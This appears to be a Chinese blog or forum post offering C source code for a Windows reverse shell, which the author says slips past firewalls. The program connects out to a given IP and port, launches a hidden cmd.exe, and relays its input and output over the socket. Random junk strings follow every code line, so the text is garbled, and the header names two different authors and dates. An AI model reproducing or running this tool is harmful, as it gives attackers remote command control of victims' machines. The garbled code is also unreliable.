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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lq;  
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/* ============================== $5ZR [\$  
Rebound port in Windows NT eL<m.06cfY  
By wind,2006/7 <l* agH-.3  
===============================*/ OD{5m(JwL  
#include PthId aN@  
#include `)0Rv|?  
or?0PEx\  
#pragma comment(lib,"wsock32.lib") t8L<x  
KDux$V4  
void OutputShell(); += X).X0K  
SOCKET sClient; v]B0!k&4.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~sZqa+jB0  
`6 |i&w:b  
void main(int argc,char **argv) |E46vup  
{ ]ev*m&O  
WSADATA stWsaData; D-'i G%)kA  
int nRet; ev~dsk6k  
SOCKADDR_IN stSaiClient,stSaiServer; 6\; 4 4,3  
;M%oQ> ].[  
if(argc != 3) u)<Ysx8G  
{ !Sh^LYqn  
printf("Useage:\n\rRebound DestIP DestPort\n"); @WhZx*1  
return; Ly#h|)  
} ~%olCxfO  
TX< e_[$\  
WSAStartup(MAKEWORD(2,2),&stWsaData); t#fs:A7P?}  
Xg|8".B)A  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D+bB G  
Nr> c'TH  
stSaiClient.sin_family = AF_INET; 4JX`>a{<  
stSaiClient.sin_port = htons(0); /X(@|tk:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @N,:x\  
N BV}4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 43vGgGW  
{ v_y!Oh?EG  
printf("Bind Socket Failed!\n"); {Q{lb(6Ba  
return; vp"%IW  
} KC@k9e  
Fpy6"Z?z  
stSaiServer.sin_family = AF_INET; ^n\9AE3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AZh@t?)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); utYnaeQcn  
P5'iYahCq_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XkMs   
{ t/l!KdY$  
printf("Connect Error!"); FY 1},sq  
return;  ioE66-n  
} +)/Rql(lY  
OutputShell(); 08TaFzP81  
} !!?+M @  
Y|{r vBKjf  
void OutputShell() -ET*M<  
{ &/b? I `  
char szBuff[1024]; Nrab*K(][  
SECURITY_ATTRIBUTES stSecurityAttributes; ig2{lEkF  
OSVERSIONINFO stOsversionInfo; R`0foSq \M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :BewH?Ku  
STARTUPINFO stStartupInfo; AzLbD2Pl  
char *szShell; N?MJ#lC F  
PROCESS_INFORMATION stProcessInformation; 3v8V*48B$  
unsigned long lBytesRead; }-REBrb-  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .){e7U6b{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9@KUqoX  
stSecurityAttributes.lpSecurityDescriptor = 0; Hs:4I  
stSecurityAttributes.bInheritHandle = TRUE; {:};(oz)f  
k| _$R?  
sD LVYD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hmz=/.$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <7_ |Q   
/|4Q9=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); { ()p%#*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t,--V|7-  
stStartupInfo.wShowWindow = SW_HIDE; jMm_A#V>p  
stStartupInfo.hStdInput = hReadPipe; c,v^A+sZu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]jVIpGM  
oj,HJH+  
GetVersionEx(&stOsversionInfo); p56KS5duI.  
)bB"12Z|8  
switch(stOsversionInfo.dwPlatformId) @Og\SZhn  
{ @{J!6YGh  
case 1: N.fQ7z=Z(M  
szShell = "command.com"; Hrd5p+j  
break; OPvj{Dv$0  
default: jRv;D#Hp  
szShell = "cmd.exe"; 2ru*#Z#(  
break; aGq_hP   
} &^CL] &/  
+z]:CF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T[Z <bW~0  
2]of SdM  
send(sClient,szMsg,77,0); 1M%{Uqsd-  
while(1) G"T;l"TAt8  
{ ,\sR;=svK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?/`C~e<J  
if(lBytesRead) R`Ys;g/!  
{ SeRK7Q&_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,_"7|z wb  
send(sClient,szBuff,lBytesRead,0); ~6@c]:  
} rE1np^z7  
else cM> G>Yzo  
{ "K}W^J9v  
lBytesRead=recv(sClient,szBuff,1024,0); @1pW!AdN  
if(lBytesRead<=0) break; .RQXxw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zer&`Vr  
} m6~ sKJV  
} (c|$+B^*  
Jf %!I  
return; "v\ bMuS  
}
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